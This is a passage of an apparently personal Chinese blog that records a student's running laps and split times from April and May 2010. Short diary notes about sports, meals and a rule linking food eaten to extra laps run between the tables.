<td align="CENTER" valign="MIDDLE">00:06:01</td>
<td align="CENTER" valign="MIDDLE">00:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:42</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:13</td>
<td align="CENTER" valign="MIDDLE">00:00:31</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100502-22:25</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
<td align="CENTER" valign="MIDDLE">00:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:18</td>
<td align="CENTER" valign="MIDDLE">00:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:02</td>
<td align="CENTER" valign="MIDDLE">00:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:02:47</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:03:34</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:21</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:08</td>
<td align="CENTER" valign="MIDDLE">00:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:05:56</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:06:44</td>
<td align="CENTER" valign="MIDDLE">00:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:07:19</td>
<td align="CENTER" valign="MIDDLE">00:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td colspan="3" height="17" align="CENTER" valign="MIDDLE">20100503-22:21</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">编号</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">时间</span></td>
<td align="CENTER" valign="MIDDLE"><span style="font-family: 'DejaVu Sans';">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">1</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
<td align="CENTER" valign="MIDDLE">00:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">2</td>
<td align="CENTER" valign="MIDDLE">00:01:24</td>
<td align="CENTER" valign="MIDDLE">00:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">3</td>
<td align="CENTER" valign="MIDDLE">00:02:13</td>
<td align="CENTER" valign="MIDDLE">00:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">4</td>
<td align="CENTER" valign="MIDDLE">00:03:07</td>
<td align="CENTER" valign="MIDDLE">00:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">5</td>
<td align="CENTER" valign="MIDDLE">00:04:01</td>
<td align="CENTER" valign="MIDDLE">00:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">6</td>
<td align="CENTER" valign="MIDDLE">00:04:58</td>
<td align="CENTER" valign="MIDDLE">00:00:57</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">7</td>
<td align="CENTER" valign="MIDDLE">00:05:53</td>
<td align="CENTER" valign="MIDDLE">00:00:55</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">8</td>
<td align="CENTER" valign="MIDDLE">00:06:50</td>
<td align="CENTER" valign="MIDDLE">00:00:57</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">9</td>
<td align="CENTER" valign="MIDDLE">00:07:46</td>
<td align="CENTER" valign="MIDDLE">00:00:56</td>
</tr>
<tr>
<td height="17" align="CENTER" valign="MIDDLE">10</td>
<td align="CENTER" valign="MIDDLE">00:08:26</td>
<td align="CENTER" valign="MIDDLE">00:00:40</td>
</tr>
</tbody>
</table>
<h3>20100427</h3>
<p style="padding-left: 30px;">多天没有更新了。更新之。</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="134"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="134" height="17" align="CENTER">20100418-22:03</td>
<td width="86" align="CENTER"></td>
<td width="86" align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:35</td>
<td align="CENTER">0:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:15</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:01:54</td>
<td align="CENTER">0:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:37</td>
<td align="CENTER">0:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:19</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:03</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:04:45</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:05:27</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:10</td>
<td align="CENTER">0:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:06:50</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER">20100418-9</td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:42</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:29</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:17</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:06</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:01</td>
<td align="CENTER">0:00:55</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:47</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:35</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:23</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:09</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER">20100419-21:51</td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:35</td>
<td align="CENTER">0:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:16</td>
<td align="CENTER">0:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:01</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:43</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:37</td>
<td align="CENTER">0:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:17</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:05</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:05:54</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:39</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:10</td>
<td align="CENTER">0:00:31</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER">20100419-22:20</td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:50</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:40</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:29</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:19</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:11</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:05:05</td>
<td align="CENTER">0:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:55</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:47</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:37</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:50</td>
<td align="CENTER">0:00:13</td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER">20100420-21:34</td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:35</td>
<td align="CENTER">0:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:13</td>
<td align="CENTER">0:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:01:54</td>
<td align="CENTER">0:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:39</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:20</td>
<td align="CENTER">0:00:41</td>
</tr>
<tr>
<td height="17" align="CENTER">6+7</td>
<td align="CENTER">0:04:44</td>
<td align="CENTER">0:01:24</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:05:28</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:11</td>
<td align="CENTER">0:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:06:40</td>
<td align="CENTER">0:00:29</td>
</tr>
<tr>
<td height="17" align="LEFT"></td>
<td align="LEFT"></td>
<td align="LEFT"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"></td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER">20100421-21:05</td>
<td align="CENTER"></td>
<td align="CENTER"></td>
</tr>
<tr>
<td height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:35</td>
<td align="CENTER">0:00:35</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:12</td>
<td align="CENTER">0:00:37</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:01:54</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:36</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:22</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:06</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:04:51</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:05:40</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:19</td>
<td align="CENTER">0:00:39</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:06:45</td>
<td align="CENTER">0:00:26</td>
</tr>
</tbody>
</table>
<h3>20100417</h3>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="134"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="134" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:38</td>
<td align="CENTER">0:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:23</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:09</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:56</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:45</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:33</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:20</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:11</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:59</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:38</td>
<td align="CENTER">0:00:39</td>
</tr>
</tbody>
</table>
<p>3+2+4=9</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="134"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="134" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:54</td>
<td align="CENTER">0:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:02:07</td>
<td align="CENTER">0:01:13</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:58</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:48</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:42</td>
<td align="CENTER">0:00:54</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:05:32</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:06:24</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:07:11</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:58</td>
<td align="CENTER">0:00:47</td>
</tr>
</tbody>
</table>
<h3>20100416</h3>
<p>今天下午下课以后天气确实挺棒。</p>
<p>先打打篮球，发现不是手。然后晚羽毛球，再跑步。第一次跑到一半的时候被张胤同学叫去。然后又重新跑了10趟。</p>
<p>18：14</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="134"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="134" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:36</td>
<td align="CENTER">0:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:23</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">3+4</td>
<td align="CENTER">0:03:01</td>
<td align="CENTER">0:01:38</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:50</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:41</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:30</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:19</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:01</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">00:07:39</td>
<td align="CENTER">0:01:34</td>
</tr>
</tbody>
</table>
<p>今天其实就是晚饭吃的还稍多些，早上和中午吃的相对少些。</p>
<p>3+2+5=10</p>
<p>22：07</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="134"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="134" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:40</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:22</td>
<td align="CENTER">0:00:42</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:05</td>
<td align="CENTER">0:00:43</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:52</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:36</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:24</td>
<td align="CENTER">0:00:48</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:08</td>
<td align="CENTER">0:00:44</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:05:55</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:41</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:26</td>
<td align="CENTER">0:00:45</td>
</tr>
</tbody>
</table>
<h3>20100415</h3>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:38</td>
<td align="CENTER">0:00:38</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:18</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:03</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:52</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">5+6</td>
<td align="CENTER">0:04:30</td>
<td align="CENTER">0:01:38</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:15</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:04</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:50</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:27</td>
<td align="CENTER">0:00:37</td>
</tr>
</tbody>
</table>
<p>今天的食量：</p>
<p>2两（早饭）+5两（午饭）+4两（晚饭）=11两</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:46</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:36</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:29</td>
<td align="CENTER">0:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:03:29</td>
<td align="CENTER">0:01:00</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:04:14</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:05:07</td>
<td align="CENTER">0:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:06:00</td>
<td align="CENTER">0:00:53</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:51</td>
<td align="CENTER">0:00:51</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:07:43</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:08:35</td>
<td align="CENTER">0:00:52</td>
</tr>
<tr>
<td height="17" align="CENTER">11</td>
<td align="CENTER">0:09:25</td>
<td align="CENTER">0:00:50</td>
</tr>
</tbody>
</table>
<h3>20100414</h3>
<p>今天把之前的“历史遗留”问题解决下。不过还是先Show一下今天的记录：</p>
<table border="0" cellspacing="0" frame="VOID" rules="NONE">
<colgroup>
<col width="86"></col>
<col width="86"></col>
<col width="86"></col>
</colgroup>
<tbody>
<tr>
<td width="86" height="17" align="CENTER"><span style="font-family: DejaVu Sans;">编号</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">时间</span></td>
<td width="86" align="CENTER"><span style="font-family: DejaVu Sans;">用时</span></td>
</tr>
<tr>
<td height="17" align="CENTER">1</td>
<td align="CENTER">0:00:36</td>
<td align="CENTER">0:00:36</td>
</tr>
<tr>
<td height="17" align="CENTER">2</td>
<td align="CENTER">0:01:16</td>
<td align="CENTER">0:00:40</td>
</tr>
<tr>
<td height="17" align="CENTER">3</td>
<td align="CENTER">0:02:01</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">4</td>
<td align="CENTER">0:02:46</td>
<td align="CENTER">0:00:45</td>
</tr>
<tr>
<td height="17" align="CENTER">5</td>
<td align="CENTER">0:03:32</td>
<td align="CENTER">0:00:46</td>
</tr>
<tr>
<td height="17" align="CENTER">6</td>
<td align="CENTER">0:04:22</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">7</td>
<td align="CENTER">0:05:11</td>
<td align="CENTER">0:00:49</td>
</tr>
<tr>
<td height="17" align="CENTER">8</td>
<td align="CENTER">0:06:01</td>
<td align="CENTER">0:00:50</td>
</tr>
<tr>
<td height="17" align="CENTER">9</td>
<td align="CENTER">0:06:48</td>
<td align="CENTER">0:00:47</td>
</tr>
<tr>
<td height="17" align="CENTER">10</td>
<td align="CENTER">0:07:13</td>
<td align="CENTER">0:00:25</td>
</tr>
</tbody>
</table>
<p>今天跑步的时候，想如何加强跑步的强度。于是想到一个方法，每天把吃饭的饭量（按两算）兑换成相应的跑步长度。</p>
<p>现在比例是每两饭多跑一趟（120米）。</p>
<p>今天：早饭（2两）+午饭（3两）+晚饭（2两）= 7两 = 7趟</p>
